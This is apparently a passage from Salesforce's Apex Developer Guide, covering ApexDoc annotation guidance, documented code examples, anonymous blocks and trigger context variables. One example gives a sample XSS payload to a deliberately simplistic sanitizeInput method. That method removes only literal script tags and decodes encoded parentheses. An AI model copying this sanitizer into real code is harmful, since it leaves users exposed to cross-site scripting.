@AuraEnabled on page 94	If the element is exposed to Lightning components for client-side access, document whether <code>(cacheable=true)</code> . Describe the implications of this cache setting.
@InvocableMethod on page 96	If the element is callable from Flow Builder, explain the element's function as an invocable action. Mention <code>label</code> and <code>description</code> attributes from the annotation if they provide important context. Use <code>@param</code> and <code>@return</code> for the element's specific input and output structure.
@InvocableVariable on page 102	Clarify the variable's specific role, data type, and any constraints or expectations for the action.
@RestResource(urlMapping=...) on page 117	Describe the overall resource. Also document the annotated Apex REST methods (<code>@HttpDelete</code> , <code>@HttpGet</code> , <code>@HttpPatch</code> , <code>@HttpPost</code> , or <code>@HttpPut</code>) with their specific roles.

Apex Annotation	Guidance for the ApexDoc Comment of the Annotated Element
@Deprecated on page 94	Include the <code>@deprecated</code> tag. Explain the reason for the deprecation and specify the recommended alternative.
@Future on page 95	Describe the implications of running the method asynchronously. For example, you can specify whether the method runs in a separate transaction, describe governor limit considerations, and explain callout behavior.
@IsTest on page 106	Briefly describe the scenario or functionality being tested. Test documentation is often excluded from public API docs. If <code>seeAllData</code> is <code>true</code> , explain why this setting is necessary. If <code>onInstall</code> is <code>true</code> , explain why this setting is necessary.
@ReadOnly on page 113	Explain if the element is used for performance with large query sets or specific APIs.
@TestSetup on page 115	Describe the common test data being created.
@TestVisible on page 116	Describe the rationale for the element's annotation. For example, on private or protected member methods or variables, document "Visibility modified for testing purposes."
@SuppressWarnings on page 115	Specify the warning that the third-party tool suppresses and briefly explain the rationale for the suppression if it's not self-evident.
@NamespaceAccessible on page 112	Clarify if this annotation restricts exposure compared to global access or why this level of access is appropriate.

SEE ALSO:

[ApexDoc Comment Structure and Tags](#)

[ApexDoc Examples](#)

ApexDoc Examples

See practical examples of ApexDoc comments applied to various Apex constructs.

Class Example

```
/**
 * Manages customer account information and related operations.
 * This class bypasses user record access via 'without sharing' so that it
 * can be used in a batch classes.
 * @author John Developer
 * @since 0.1.0
 * @version 0.3.1
 * @see AccountProcessingBatch
 * @group Account
 * @example
 * {@code
 * Account a;
 * try {
 *   a = new AccountManager().createAccount('Acme', 'Agriculture');
 * } catch (AccountManager.AccountException caught) {
```



```

*   LOGGER.log(caught);
*   // further exception handling
* }
* }
*/
public without sharing class AccountManager {

    /**
     * The default region for new accounts if not specified.
     */
    public static final String DEFAULT_REGION = 'North America';

    /**
     * Stores the count of active accounts managed by this instance.
     * Populated after using the {@link AccountService}.
     */
    @TestVisible
    private Integer activeAccountCount;

    /**
     * Creates a new Account sObject with the given name and industry.
     * @param accountName The desired name for the new account. Cannot be null or empty.
     * @param industry The industry classification for the new account.
     * @return The newly created Account sObject with its ID populated.
     * @throws AccountManager.AccountException if accountName is invalid
     * or if DML operation fails.
     */
    public Account createAccount(String accountName, String industry) {
        if (String.isBlank(accountName)) {
            throw new AccountManager.AccountException('Account name cannot be blank.');
```

Packaged Class Example

```

/**
 * Provides services for geolocation and address conversion.
 * @author Dennis Smith
 * @version 0.3.0
 * @since 0.1.0
 */
global with sharing class GeolocationService {
    /**
     * Represents geographic coordinates (latitude and longitude).
     */
    global class Coordinates {
        @AuraEnabled
        public Decimal latitude;
        @AuraEnabled
        public Decimal longitude;

        global Coordinates(Decimal lat, Decimal lon) {
            this.latitude = lat;
            this.longitude = lon;
        }
    }

    /**
     * Converts a full address string to approximate latitude
     * and longitude coordinates. This method is deprecated and should no
     * longer be used due to its reliance on an older, less accurate geocoding
     * service and simpler parsing logic. It may not handle all address formats
     * correctly and has a lower success rate.
     * @param fullAddress The complete address string
     * (e.g., "123 Main St, Anytown, CA 90210, USA").
     * @return A `Coordinates` object representing the approximate latitude and longitude.
     * @throws DeprecatedMethodCalledException If this method is invoked,
     * informing the user to migrate to the newer, more robust `geocodeAddress` method.
     * @deprecated in 0.2.0. Use {@link #geocodeAddress(
     * String street,
     * String city,
     * String state,
     * String postalCode,
     * String country)} instead.
     * @since 0.1.0
     */
    @Deprecated
    global static Coordinates convertAddressToCoordinates(String fullAddress) {
        throw new DeprecatedMethodCalledException(
            'The method `GeolocationService.convertAddressToCoordinates(String fullAddress)` is
            deprecated. ' +
            'Please use `GeolocationService.geocodeAddress(String street, String city, String
            state, String postalCode, String country)` ' +
            'for all new and existing address-to-coordinate conversions to ensure better
            accuracy and reliability.'
        );
    }
}

```

```

/**
 * Geocodes a structured address into precise latitude and longitude coordinates
 * using a robust external geocoding service.
 * This method provides higher accuracy and better handling of diverse address formats.
 *
 * @param street The street address (e.g., "123 Main St").
 * @param city The city (e.g., "Anytown").
 * @param state The state or province abbreviation (e.g., "CA").
 * @param postalCode The postal or ZIP code (e.g., "90210").
 * @param country The country name or code (e.g., "USA").
 * @return A Coordinates object containing the latitude and longitude.
 * @throws GeocodingException If the address cannot be geocoded,
 * if the external service is unavailable, or if required address
 * components are missing.
 * @example
 * {@code
 * try {
 *     GeolocationService.Coordinates coords = GeolocationService.geocodeAddress(
 *         '415 Mission St',
 *         'San Francisco',
 *         'CA',
 *         '94105',
 *         'USA'
 *     );
 * } catch (GeolocationService.GeocodingException e) {
 *     // handle failure
 * }
 * }
 * @since 0.2.0
 */
global static Coordinates geocodeAddress(
    String street,
    String city,
    String state,
    String postalCode,
    String country
) {
    // Implement actual geocoding logic
    return new Coordinates(0, 0);
}

/**
 * Exception thrown when a deprecated method is called.
 * This indicates that the caller should migrate to the recommended alternative.
 */
global class DeprecatedMethodCalledException extends Exception {
}

/**
 * Exception thrown when a geocoding operation fails.
 * This provides specific context for issues during address-to-coordinate conversion.
 */
global class GeocodingException extends Exception {

```

```

    }
}

```

Test Class Example

```

/**
 * Specifications for the GeolocationService
 * @author Jane Devington
 * @version 0.2.0
 * @see GeolocationService
 * @since 0.1.0
 */
@IsTest
private class GeolocationServiceTest {
    /**
     * Verifies that known addresses are correctly geocoded to their expected coordinates.
     * @see GeolocationService#geocodeAddress(
     * String street,
     * String city,
     * String state,
     * String postalCode,
     * String country)
     */
    @IsTest
    private static void validAddressShouldReturnCorrectCoordinates() {
        String street = '415 Mission Street';
        String city = 'San Francisco';
        String state = 'CA';
        String postalCode = '94105';
        String country = 'USA';

        GeolocationService.Coordinates coords;
        Test.startTest();
        coords = GeolocationService.geocodeAddress(
            street,
            city,
            state,
            postalCode,
            country
        );
        Test.stopTest();

        Assert.isNotNull(
            coords,
            'Coordinates should not be null for a valid address.'
        );
        Assert.areEqual(
            37.785834,
            coords.latitude,
            'Latitude should match for Salesforce tower.'
        );
        Assert.areEqual(
            -122.406417,

```

```

        coords.longitude,
        'Longitude should match for Salesforce tower.'
    );
}

/**
 * Verifies that calling the geocodeAddress with missing required parameters
 * throws a GeocodingException.
 * @see GeolocationService#geocodeAddress(
 * String street,
 * String city,
 * String state,
 * String postalCode,
 * String country)
 * @see GeolocationService#GeocodingException
 */
@Test
private static void missingRequiredParametersShouldThrowGeocodingException() {
    String street = ''; // Missing
    String city = 'San Francisco';
    String state = 'CA';
    String postalCode = 94105;
    String country = 'USA';

    Test.startTest();
    Boolean caughtException = false;
    try {
        GeolocationService.geocodeAddress(
            street,
            city,
            state,
            postalCode,
            country
        );
    } catch (GeolocationService.GeocodingException e) {
        caughtException = true;
        Assert.areEqual(
            'Street, City, and Postal Code are required for geocoding.',
            e.getMessage(),
            'Exception message should indicate missing required fields.'
        );
    }
    Test.stopTest();

    Assert.isTrue(
        caughtException,
        'GeocodingException should have been thrown for missing street.'
    );
}

/**
 * Verifies that calling the deprecated method throws a
 * DeprecatedMethodCalledException.
 * @see GeolocationService#convertAddressToCoordinates(String address)

```

```

    * @see GeolocationService#DeprecatedMethodCalledException
    */
    @IsTest
    private static void deprecatedMethodCallShouldThrowDeprecatedMethodCalledException() {
        String oldAddress = '123 Deprecated Lane';

        Test.startTest();
        Boolean caughtException = false;
        try {
            GeolocationService.convertAddressToCoordinates(
                oldAddress
            );
        } catch (GeolocationService.DeprecatedMethodCalledException e) {
            caughtException = true;
            Assert.isTrue(
                e.getMessage().contains('is deprecated'),
                'Exception message should indicate deprecation.'
            );
            Assert.isTrue(
                e.getMessage().contains('Please use'),
                'Exception message should suggest new method.'
            );
        }
        Test.stopTest();

        Assert.isTrue(
            caughtException,
            'DeprecatedMethodCalledException should have been thrown.'
        );
    }
}

```

Interface Example

```

/**
 * Defines a contract for objects that can be serialized to a
 * specific format. Implementations must provide logic for converting
 * their state into a string representation.
 * @author Jane Coder
 * @since 0.2.0
 */
public interface ISerializable {
    /**
     * Serializes the object's current state into a String.
     * @return A String representation of the object.
     * @throws SerializationException if the object cannot be serialized.
     */
    String serialize();

    /**
     * Gets the format name this serializer supports (e.g., "JSON", "XML").
     * @return The name of the serialization format.
     */
}

```

```
String getFormatName();
}
```

Enum Example

```
/**
 * Represents the possible status levels for a support case.
 * Defines standard values for case progression in the customer portal.
 * @author John Developer
 * @since 0.1.5
 */
public enum CaseStatus {
    /* A newly opened case, not yet assigned. */
    BRAND_NEW,
    /* Case is actively being worked on. */
    WORKING,
    /* Case has been escalated to a higher tier. */
    ESCALATED,
    /* Case has been resolved and closed. */
    CLOSED
}
```

Method Example (with params, return, throws)

```
/**
 * Calculates the total price for a list of products, applying a discount.
 * @param productCodes A List of unique product codes to calculate the price for.
 * Each code must correspond to an existing Product2 record.
 * @param discountPercentage The discount percentage to apply (e.g., 10.5 for 10.5%).
 * Must be between 0.0 and 100.0.
 * @return The calculated total price as a Decimal after applying the discount.
 * Returns 0.0 if productCodes is null or empty.
 * @throws IllegalArgumentException if discountPercentage is out of range.
 * @throws ProductNotFoundException if any productCode does not match an
 * existing product.
 */
public Decimal calculateTotalPrice(
    List<String> productCodes,
    Decimal discountPercentage
) {
    if (discountPercentage < 0.0 || discountPercentage > 100.0) {
        throw new IllegalArgumentException(
            'Discount percentage must be between 0.0 and 100.0.'
        );
    }
    if (productCodes == null || productCodes.isEmpty()) {
        return 0.0;
    }
    //... implementation logic to fetch prices and calculate total...
    return 100.0;
}

/**
```

```

* Represents an exception thrown when a requested product cannot be found.
* This custom exception provides a clear indication that a product lookup failed,
* allowing calling code to handle the 'not found' scenario specifically.
* It is typically thrown by methods attempting to retrieve Product2 records.
* @example
* {@code
* List<Product2> products = [
*     SELECT Id
*     FROM Product2
*     WHERE ProductCode = :productCode
*     LIMIT 1
* ];
* if (products.isEmpty()) {
*     throw new ProductNotFoundException(
*         'Product with code ' + productCode + ' not found.'
*     );
* }
* }
*/
public class ProductNotFoundException extends Exception {}

```

Annotated Method (@AuraEnabled) Example

```

public class OpportunityService {
    /**
     * Retrieves a list of open opportunities for a given account,
     * accessible from Lightning Web Components. If the set of open opportunities
     * can change during interaction with the component, the author will
     * need to use {@code refreshApex()}.
     * @param accountId The ID of the Account to retrieve opportunities for.
     * @return A List of open Opportunity records. Returns an empty list if no
     * open opportunities are found or if accountId is invalid.
     * @see OpportunitySelector
     */
    @AuraEnabled(cacheable=true)
    public static List<Opportunity> getOpenOpportunities(Id accountId) {
        List<Opportunity> result = new List<Opportunity>();
        //... implementation details...
        return result;
    }
}

```

External Reference Example

```

/**
 * Provides a service to retrieve current weather conditions from an external API.
 * It utilizes Salesforce Named Credentials for secure endpoint and
 * authentication management.
 * @author John Doe
 * @since 1.0.3
 */
public with sharing class WeatherService {
    /**

```



```

* Retrieves the current weather conditions for a specified city and country.
* This method makes an HTTP GET callout to an external weather API using a
* Named Credential.
* @param city The name of the city (e.g., "London").
* @param country The name or code of the country (e.g., "UK" or "United Kingdom").
* @return A JSON string representing the current weather conditions.
* @throws WeatherServiceException If the HTTP callout fails, returns a non-200 status,
* or if there's an issue parsing the response.
* @see <a href="https://example.com/weather-api-docs/current-conditions.html">External
* Weather API</a>
*/
public static String getCurrentWeather(
    String city,
    String country
) {
    if (String.isBlank(city) || String.isBlank(country)) {
        throw new WeatherServiceException(
            'City and country cannot be blank for weather lookup.'
        );
    }

    String namedCredentialUrl = 'callout:WeatherAPI/current';
    String requestParams =
        '?city=' +
        EncodingUtil.urlEncode(city, 'UTF-8') +
        '&country=' +
        EncodingUtil.urlEncode(country, 'UTF-8');

    HttpRequest req = new HttpRequest();
    req.setEndpoint(namedCredentialUrl + requestParams);
    req.setMethod('GET');
    req.setTimeout(60000);

    Http http = new Http();
    HttpResponse res;

    try {
        res = http.send(req);
    } catch (System.CalloutException e) {
        throw new WeatherServiceException(
            'HTTP Callout Failed: ' + e.getMessage()
        );
    }

    if (res.getStatusCode() == 200) {
        return res.getBody();
    } else {
        throw new WeatherServiceException(
            'Failed to retrieve weather data. Status: ' +
            res.getStatusCode() +
            '. Details: ' +
            res.getBody()
        );
    }
}

```

```

        );
    }
}

/**
 * Custom exception for errors during weather data retrieval.
 */
public class WeatherServiceException extends Exception {
}
}

```

Inline Tags Example

```

/**
 * Sanitizes a given input string by removing or replacing certain
 * characters such as {@code <script>}
 * @param inputString The raw string provided by a user or external source.
 * This string might contain malicious or unexpected characters,
 * like a {@literal <script>} tag or a backslash {@literal \}.
 * @return The sanitized string after processing.
 * @example
 * {@code
 * String badInput = 'Hello, <script>alert(\'xss\')</script> World!';
 * String safeOutput = SecurityUtils.sanitizeInput(badInput);
 * System.debug('Sanitized Output: ' + safeOutput);
 * } * @see {@link String#escapeHtml4} for a similar built-in method.
 * {@hidden NOTE TO MAINTAINERS: This method should be updated if
 * new security threats are identified. The current regex
 * is designed to handle common XSS patterns but may not
 * be exhaustive. The last major update was in v2.1.}
 * @since 2.0
 */
global static String sanitizeInput(String inputString) {
    // simple example for demonstration purposes
    String sanitized = inputString;
    sanitized = sanitized.replace('<script>', '').replace('</script>', '');
    sanitized = sanitized.replace('&#40;', '(').replace('&#41;', ')');
    return sanitized;
}

```

SEE ALSO:

[ApexDoc Comment Structure and Tags](#)

[Document Apex Constructs and Features](#)

Running Apex

You can access many features of the Salesforce user interface programmatically in Apex, and you can integrate with external SOAP and REST Web services. You can run Apex code using a variety of mechanisms. Apex code runs in atomic transactions.

Invoking Apex

You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.

Apex Transactions and Governor Limits

Apex Transactions ensure the integrity of data. Apex code runs as part of atomic transactions. Governor execution limits ensure the efficient use of resources on the Lightning Platform multitenant platform.

Using Salesforce Features with Apex

Many features of the Salesforce user interface are exposed in Apex so that you can access them programmatically in the Lightning Platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve process requests.

Integration and Apex Utilities

Apex allows you to integrate with external SOAP and REST Web services using callouts. You can use utilities for JSON, XML, data security, and encoding. A general-purpose utility for regular expressions with text strings is also provided.

Invoking Apex

You can run Apex code with triggers, or asynchronously, or as SOAP or REST web services.

1. [Anonymous Blocks](#)

An anonymous block is Apex code that doesn't get stored in the metadata, but that you can compile and execute.

2. [Triggers](#)

Apex can be invoked by using *triggers*. Apex triggers enable you to perform custom actions before or after changes to Salesforce records, such as insertions, updates, or deletions.

3. [Asynchronous Apex](#)

Apex offers multiple ways for running your Apex code asynchronously. Choose the asynchronous Apex feature that best suits your needs.

4. [Exposing Apex Methods as SOAP Web Services](#)

You can expose your Apex methods as SOAP web services so that external applications can access your code and your application.

5. [Exposing Apex Classes as REST Web Services](#)

You can expose your Apex classes and methods so that external applications can access your code and your application through the REST architecture.

6. [Apex Email Service](#)

You can use email services to process the contents, headers, and attachments of inbound email. For example, you can create an email service that automatically creates contact records based on contact information in messages.

7. [Using the InboundEmail Object](#)

For every email the Apex email service domain receives, Salesforce creates a separate `InboundEmail` object that contains the contents and attachments of that email. You can use Apex classes that implement the `Messaging.InboundEmailHandler` interface to handle an inbound email message. Using the `handleInboundEmail` method in that class, you can access an `InboundEmail` object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

8. [Visualforce Classes](#)

In addition to giving developers the ability to add business logic to Salesforce system events such as button clicks and related record updates, Apex can also be used to provide custom logic for Visualforce pages through custom Visualforce controllers and controller extensions.

9. [JavaScript Remoting](#)

Use JavaScript remoting in Visualforce to call methods in Apex controllers from JavaScript. Create pages with complex, dynamic behavior that isn't possible with the standard Visualforce AJAX components.

10. [Apex in AJAX](#)

The AJAX toolkit includes built-in support for invoking Apex through anonymous blocks or public `webservice` methods.

Anonymous Blocks

An anonymous block is Apex code that doesn't get stored in the metadata, but that you can compile and execute.

User Permissions Needed

To execute anonymous Apex: (Anonymous Apex execution through the API allows restricted access without the "Author Apex" permission.)	"API Enabled" and "Author Apex"
If an anonymous Apex callout references a named credential as the endpoint:	Customize Application

Compile and execute anonymous blocks by using one of these Salesforce development tools.

- [Web Console \(Beta\)](#)
- [Salesforce Extensions for Visual Studio Code](#)
- [Agentforce Vibes IDE](#)
- Developer Console

You can also execute anonymous blocks by using the `executeAnonymous()` SOAP API call.

```
ExecuteAnonymousResult executeAnonymous(String code)
```

 **Important:** Every time you run an anonymous block, the code and its references are compiled. For repetitive calls, we strongly recommend that you use compiled classes, such as Apex REST endpoints.

Note the following about the content of an anonymous block.

- The anonymous block can include user-defined methods and exceptions.
- User-defined methods can't include the keyword `static`.
- You don't have to commit any database changes manually.
- If an Apex trigger within an anonymous block completes successfully, the changes are committed to the database only after all operations in the block finish executing successfully. If your Apex trigger doesn't complete successfully, any changes made to the database in the anonymous block are rolled back.
- Anonymous blocks run as the current user and can fail to compile if the code violates the user's object- and field-level permissions.
- The content in the anonymous block has a local scope. For example, although it's legal to use the `global` access modifier, it has no meaning. The scope of the method is limited to the anonymous block.
- When you define a class or interface (a custom type) in an anonymous block, it's considered virtual by default when the anonymous block executes. This fact is true even if your custom type isn't defined with the `virtual` modifier.
- Classes and interfaces defined in an anonymous block aren't saved to your org.

Even though a user-defined method can refer to itself or later methods without the need for forward declarations, variables can't be referenced before their actual declaration. In this example, the Integer `int1` must be declared while `myProcedure1` doesn't:

```
Integer int1 = 0;

void myProcedure1 () {
    myProcedure2 ();
}

void myProcedure2 () {
    int1++;
}

myProcedure1 ();
```

The returned result for anonymous blocks includes:

- Status information for the compile and execute phases of the call, including any errors that occur
- The debug log content, including the output of any calls to the `System.debug` method (see [Debug Log](#) on page 678)
- The Apex stack trace of any uncaught code execution exceptions, including the class, method, and line number for each call stack element

 **Important:** Salesforce blocks anonymous Apex code invoked from both first-generation (1GP) and second-generation (2GP) managed packages. Managed packages can't use `UserInfo.getSessionId()` to obtain a session ID and then use the session ID to execute anonymous Apex. This update is available to package subscribers starting in Summer '26 and is enforced in Summer '27. See [Block Execute Anonymous from Managed Packages \(Release Update\)](#).

Executing Anonymous Apex Through the API and the Author Apex Permission

To run any Apex code with the `executeAnonymous()` API call, including Apex methods saved in the org, users must have the Author Apex permission. For users who don't have the Author Apex permission, the API allows restricted execution of anonymous Apex. This exception applies only when users execute anonymous Apex through the API or through a developer tool that uses the API. Such users are allowed to run the following in an anonymous block.

- Code that they write in the anonymous block
- Web service methods (methods declared with the `webservice` keyword) that are saved in the org
- Any built-in Apex methods that are part of the Apex language

Running any other Apex code is blocked if the user doesn't have the Author Apex permission. For example, calling methods of custom Apex classes that are saved in the org isn't allowed nor is using custom classes as arguments to built-in methods.

When users without the Author Apex permission run DML statements in an anonymous block, triggers can get fired as a result.

SEE ALSO:

[Named Credentials as Callout Endpoints](#)

Triggers

Apex can be invoked by using *triggers*. Apex triggers enable you to perform custom actions before or after changes to Salesforce records, such as insertions, updates, or deletions.

A trigger is Apex code that executes:

- Before or after an insert operation

- Before or after an update operation
- Before or after a delete operation
- Before or after a merge operation
- Before or after an upsert operation
- After an undelete operation

An Apex trigger can also execute after the undelete operation.

For example, you can have a trigger run before an object's records are inserted into the database, after records have been deleted, or even after a record is restored from the Recycle Bin.

You can define triggers for top-level standard objects that support triggers, such as a Contact or an Account, some standard child objects, such as a CaseComment, and custom objects. To define a trigger, from the object management settings for the object whose triggers you want to access, go to Triggers.

There are two types of triggers.

- *Before triggers* are used to update or validate record values before they're saved to the database.
- *After triggers* are used to access field values that are set by the system (such as a record's `Id` or `LastModifiedDate` field), and to affect changes in other records, such as logging into an audit table or firing asynchronous events with a queue. The records that fire the *after trigger* are read-only.

Triggers can also modify other records of the same type as the records that initially fired the trigger. For example, if a trigger fires after an update of contact *A*, the trigger can also modify contacts *B*, *C*, and *D*. Because triggers can cause other records to change, and because these changes can, in turn, fire more triggers, the Apex runtime engine considers all such operations a single unit of work and sets limits on the number of operations that can be performed to prevent infinite recursion. See [Execution Governors and Limits](#) on page 348.

Additionally, if you update or delete a record in its before trigger, or delete a record in its after trigger, you will receive a runtime error. This includes both direct and indirect operations. For example, if you update account *A*, and the before update trigger of account *A* inserts contact *B*, and the after insert trigger of contact *B* queries for account *A* and updates it using the DML `update` statement or database method, then you are indirectly updating account *A* in its before trigger, and you will receive a runtime error.

Implementation Considerations

Before creating triggers, consider the following:

- `upsert` triggers fire both before and after `insert` or before and after `update` triggers as appropriate.
- `merge` triggers fire both before and after `delete` for the losing records, and both before and after `update` triggers for the winning record. See [Triggers and Merge Statements](#) on page 275.
- Triggers that execute after a record has been undeleted only work with specific objects. See [Triggers and Recovered Records](#) on page 275.
- Field history is not recorded until the end of a trigger. If you query field history in a trigger, you don't see any history for the current transaction.
- Field history tracking honors the permissions of the current user. If the current user doesn't have permission to directly edit an object or field, but the user activates a trigger that changes an object or field with history tracking enabled, no history of the change is recorded.
- Callouts must be made asynchronously from a trigger so that the trigger process isn't blocked while waiting for the external service's response. The asynchronous callout is made in a background process, and the response is received when the external service returns it. To make an asynchronous callout, use asynchronous Apex such as a future method. See [Invoking Callouts Using Apex](#) for more information.

- In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same HTTP request.

1. [Bulk Triggers](#)

2. [Trigger Syntax](#)

3. [Trigger Context Variables](#)

All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the `System.Trigger` class.

4. [Context Variable Considerations](#)

5. [Common Bulk Trigger Idioms](#)

6. [Defining Triggers](#)

Trigger code is stored as metadata under the object with which they are associated.

7. [Triggers and Merge Statements](#)

8. [Triggers and Recovered Records](#)

9. [Triggers and Order of Execution](#)

When you save a record with an `insert`, `update`, or `upsert` statement, Salesforce performs a sequence of events in a certain order.

10. [Operations That Don't Invoke Triggers](#)

Some operations don't invoke triggers.

11. [Entity and Field Considerations in Triggers](#)

When you create triggers, consider the behavior of certain entities, fields, and operations.

12. [Triggers for Chatter Objects](#)

You can write triggers for the `FeedItem` and `FeedComment` objects.

13. [Trigger Considerations for Knowledge Articles](#)

You can write triggers for `KnowledgeArticleVersion` objects. Learn when you can use triggers, and which actions don't fire triggers, like archiving articles.

14. [Trigger Exceptions](#)

15. [Trigger and Bulk Request Best Practices](#)

Bulk Triggers

All triggers are *bulk triggers* by default, and can process multiple records at a time. You should always plan on processing more than one record at a time.



Note: An Event object that is defined as recurring is not processed in bulk for `insert`, `delete`, or `update` triggers.

Bulk triggers can handle both single record updates and bulk operations like:

- Data import
- Lightning Platform Bulk API calls
- Mass actions, such as record owner changes and deletes
- Recursive Apex methods and triggers that invoke bulk DML statements

Trigger Syntax

To define a trigger, use the following syntax:

```
trigger TriggerName on ObjectName (trigger_events) {
    code_block
}
```

where *trigger_events* can be a comma-separated list of one or more of the following events:

For example, the following code defines a trigger for the before *insert* and before *update* events on the Account object:

```
trigger myAccountTrigger on Account (before insert, before update) {
    // Your code here
}
```

The code block of a trigger cannot contain the *static* keyword. Triggers can only contain keywords applicable to an inner class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

Trigger Context Variables

All triggers define implicit variables that allow developers to access run-time context. These variables are contained in the `System.Trigger` class.

Here are the trigger context variables.

Variable	Usage
<code>isExecuting</code>	Returns <i>true</i> if the current context for the Apex code is a trigger, not a Visualforce page, a web service, or an <code>executeanonymous()</code> API call.
<code>isInsert</code>	Returns <i>true</i> if this trigger was fired due to an insert operation, from the Salesforce user interface, Apex, or the API.
<code>isUpdate</code>	Returns <i>true</i> if this trigger was fired due to an update operation, from the Salesforce user interface, Apex, or the API.
<code>isDelete</code>	Returns <i>true</i> if this trigger was fired due to a delete operation, from the Salesforce user interface, Apex, or the API.
<code>isBefore</code>	Returns <i>true</i> if this trigger was fired before any record was saved.
<code>isAfter</code>	Returns <i>true</i> if this trigger was fired after all records were saved.
<code>isUndelete</code>	Returns <i>true</i> if this trigger was fired after a record is recovered from the Recycle Bin. This recovery can occur after an undelete operation from the Salesforce user interface, Apex, or the API.
<code>new</code>	Returns a list of the new versions of the sObject records. This sObject list is only available in <i>insert</i> , <i>update</i> , and <i>undelete</i> triggers, and the records can only be modified in <i>before</i> triggers.
<code>newMap</code>	A map of IDs to the new versions of the sObject records. This map is only available in <i>before update</i> , <i>after insert</i> , <i>after update</i> , and <i>after undelete</i> triggers.

Variable	Usage
<code>old</code>	Returns a list of the old versions of the sObject records. This sObject list is only available in <code>update</code> and <code>delete</code> triggers.
<code>oldMap</code>	A map of IDs to the old versions of the sObject records. This map is only available in <code>update</code> and <code>delete</code> triggers.
<code>operationType</code>	Returns an enum of type <code>System.TriggerOperation</code> corresponding to the current operation. Possible values of the <code>System.TriggerOperation</code> enum are: <code>BEFORE_INSERT</code> , <code>BEFORE_UPDATE</code> , <code>BEFORE_DELETE</code> , <code>AFTER_INSERT</code> , <code>AFTER_UPDATE</code> , <code>AFTER_DELETE</code> , and <code>AFTER_UNDELETE</code> . If you vary your programming logic based on different trigger types, consider using the <code>switch</code> statement with different permutations of unique trigger execution enum states.
<code>size</code>	The number of records processed in a trigger invocation. DML operations that include over 200 records are processed in batches, and the trigger is invoked for each batch. <code>Trigger.size</code> includes only the number of records in the current batch, not the total number of records in the DML operation.



Note: The record firing a trigger can include an invalid field value, such as a formula that divides by zero. In this case, the field value is set to `null` in these variables:

- `new`
- `newMap`
- `old`
- `oldMap`

For example, in this simple trigger, `Trigger.new` is a list of sObjects and can be iterated over in a `for` loop. It can also be used as a bind variable in the `IN` clause of a SOQL query.

```
trigger SimpleTrigger on Account(after insert) {
    for (Account a : Trigger.new) {
        // Iterate over each sObject
    }

    // This single query finds every contact that is associated with any of the
    // triggering accounts. Note that although Trigger.new is a collection of
    // records, when used as a bind variable in a SOQL query, Apex automatically
    // transforms the list of records into a list of corresponding Ids.
    Contact[] cons = [
        SELECT LastName
        FROM Contact
        WHERE AccountId IN :Trigger.new
        WITH USER_MODE
    ];
}
```

This trigger uses Boolean context variables such as `Trigger.isBefore` and `Trigger.isDelete` to define code that only executes for specific trigger conditions:

```
trigger MyAccountTrigger on Account(
    before delete,
    before insert,
    before update,
    after delete,
    after insert,
    after update
) {
    if (Trigger.isBefore) {
        if (Trigger.isDelete) {
            // In a before delete trigger, the trigger accesses the records that will be
            // deleted with the Trigger.old list.
            for (Account a : Trigger.old) {
                if (a.name != 'okToDelete') {
                    a.addError('You can\'t delete this record!');
                }
            }
        } else {
            // In before insert or before update triggers, the trigger accesses the new records
            // with the Trigger.new list.
            for (Account a : Trigger.new) {
                if (a.name == 'bad') {
                    a.name.addError('Bad name');
                }
            }
            if (Trigger.isInsert) {
                for (Account a : Trigger.new) {
                    Assert.areEqual('xxx', a.accountNumber);
                    Assert.areEqual('industry', a.industry);
                    Assert.areEqual(100, a.numberofemployees);
                    Assert.areEqual(100.0, a.annualrevenue);
                    a.accountNumber = 'yyy';
                }

                // If the trigger is not a before trigger, it must be an after trigger.
            } else {
                if (Trigger.isInsert) {
                    List<Contact> contacts = new List<Contact>();
                    for (Account a : Trigger.new) {
                        if (a.Name == 'makeContact') {
                            contacts.add(new Contact(LastName = a.Name, AccountId = a.Id));
                        }
                    }
                    insert as user contacts;
                }
            }
        }
    }
}
```

```

    }
}

```

SEE ALSO:

[Apex Reference Guide: TriggerOperation Enum](#)[Switch Statements](#)

Context Variable Considerations

Be aware of the following considerations for trigger context variables:

- `trigger.new` and `trigger.old` cannot be used in Apex DML operations.
- You can use an object to change its own field values using `trigger.new`, but only in before triggers. In all after triggers, `trigger.new` is not saved, so a runtime exception is thrown.
- `trigger.old` is always read-only.
- You cannot delete `trigger.new`.

The following table lists considerations about certain actions in different trigger events:

Trigger Event	Can change fields using <code>trigger.new</code>	Can update original object using an update DML operation	Can delete original object using a delete DML operation
before <code>insert</code>	Allowed.	Not applicable. The original object has not been created; nothing can reference it, so nothing can update it.	Not applicable. The original object has not been created; nothing can reference it, so nothing can update it.
after <code>insert</code>	Not allowed. A runtime error is thrown, as <code>trigger.new</code> is already saved.	Allowed.	Allowed, but unnecessary. The object is deleted immediately after being inserted.
before <code>update</code>	Allowed.	Not allowed. A runtime error is thrown.	Not allowed. A runtime error is thrown.
after <code>update</code>	Not allowed. A runtime error is thrown, as <code>trigger.new</code> is already saved.	Allowed. Even though bad code could cause an infinite recursion doing this incorrectly, the error would be found by the governor limits.	Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible.
before <code>delete</code>	Not allowed. A runtime error is thrown. <code>trigger.new</code> is not available in before delete triggers.	Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible.	Not allowed. A runtime error is thrown. The deletion is already in progress.
after <code>delete</code>	Not allowed. A runtime error is thrown. <code>trigger.new</code> is not available in after delete triggers.	Not applicable. The object has already been deleted.	Not applicable. The object has already been deleted.

Trigger Event	Can change fields using <code>trigger.new</code>	Can update original object using an update DML operation	Can delete original object using a delete DML operation
after <code>undelete</code>	Not allowed. A runtime error is thrown.	Allowed.	Allowed, but unnecessary. The object is deleted immediately after being inserted.

Common Bulk Trigger Idioms

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult for developers to understand and code because they involve processing batches of several records at a time. The following sections provide examples of idioms that should be used frequently when writing in bulk.

